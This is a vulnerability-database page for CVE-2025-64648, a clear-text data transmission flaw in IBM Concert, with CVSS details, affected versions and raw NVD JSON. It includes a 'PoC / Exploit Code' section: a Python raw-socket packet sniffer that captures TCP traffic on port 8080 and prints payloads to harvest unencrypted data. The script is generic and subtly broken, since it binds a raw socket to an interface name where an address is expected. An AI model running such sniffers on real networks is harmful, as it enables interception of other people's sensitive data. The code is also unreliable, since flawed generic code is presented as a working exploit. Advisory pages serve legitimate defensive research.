Security Vulnerability Report
中文
CVE-2025-64648 CVSS 5.9 MEDIUM

CVE-2025-64648

Published: 2026-03-25 21:16:26
Last Modified: 2026-03-26 17:48:29

Description

IBM Concert 1.0.0 through 2.2.0 transmits data in clear text that could allow an attacker to obtain sensitive information using man in the middle techniques.

CVSS Details

CVSS Score
5.9
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:ibm:concert:*:*:*:*:*:*:*:* - VULNERABLE
IBM Concert 1.0.0
IBM Concert 1.0.0 - 2.2.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import socket import struct # PoC for demonstrating clear text transmission interception # This script listens on a specified port for unencrypted traffic # Note: This is for educational purposes and testing in authorized environments only. def sniff_traffic(interface, port): try: # Create a raw socket to listen for TCP packets # Note: This usually requires root/admin privileges sniffer = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_TCP) sniffer.bind((interface, 0)) sniffer.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1) print(f"[*] Sniffing on interface {interface} for traffic related to port {port}...") while True: raw_buffer = sniffer.recvfrom(65565)[0] # Unpack the first 20 bytes of the IP header ip_header = raw_buffer[0:20] iph = struct.unpack('!BBHHHBBH4s4s', ip_header) # Extract protocol and source/destination IPs protocol = iph[6] s_addr = socket.inet_ntoa(iph[8]) d_addr = socket.inet_ntoa(iph[9]) # If it's TCP if protocol == 6: # Parse TCP header tcp_header = raw_buffer[20:40] tcph = struct.unpack('!HHLLBBHHH', tcp_header) source_port = tcph[0] dest_port = tcph[1] # Check if traffic matches the target port if source_port == port or dest_port == port: print(f"[+] Captured Packet: {s_addr}:{source_port} -> {d_addr}:{dest_port}") # Print payload (assuming clear text) payload = raw_buffer[40:] try: print(f" Payload (Clear Text): {payload.decode('utf-8', errors='ignore')}") except: print(f" Raw Payload: {payload}") except KeyboardInterrupt: print("\n[*] Sniffing stopped.") except Exception as e: print(f"[Error] {e}") if __name__ == "__main__": # Replace with actual interface and port used by IBM Concert TARGET_INTERFACE = "eth0" TARGET_PORT = 8080 sniff_traffic(TARGET_INTERFACE, TARGET_PORT)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-64648", "sourceIdentifier": "[email protected]", "published": "2026-03-25T21:16:25.997", "lastModified": "2026-03-26T17:48:29.483", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "IBM Concert 1.0.0 through 2.2.0 transmits data in clear text that could allow an attacker to obtain sensitive information using man in the middle techniques."}, {"lang": "es", "value": "IBM Concert 1.0.0 hasta 2.2.0 transmite datos en texto claro que podría permitir a un atacante obtener información sensible utilizando técnicas de man in the middle."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 5.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.2, "impactScore": 3.6}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 5.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.2, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-319"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ibm:concert:*:*:*:*:*:*:*:*", "versionStartIncluding": "1.0.0", "versionEndIncluding": "2.2.0", "matchCriteriaId": "2E37B307-BAA4-487B-958B-7354E39D7B2A"}]}]}], "references": [{"url": "https://www.ibm.com/support/pages/node/7267105", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}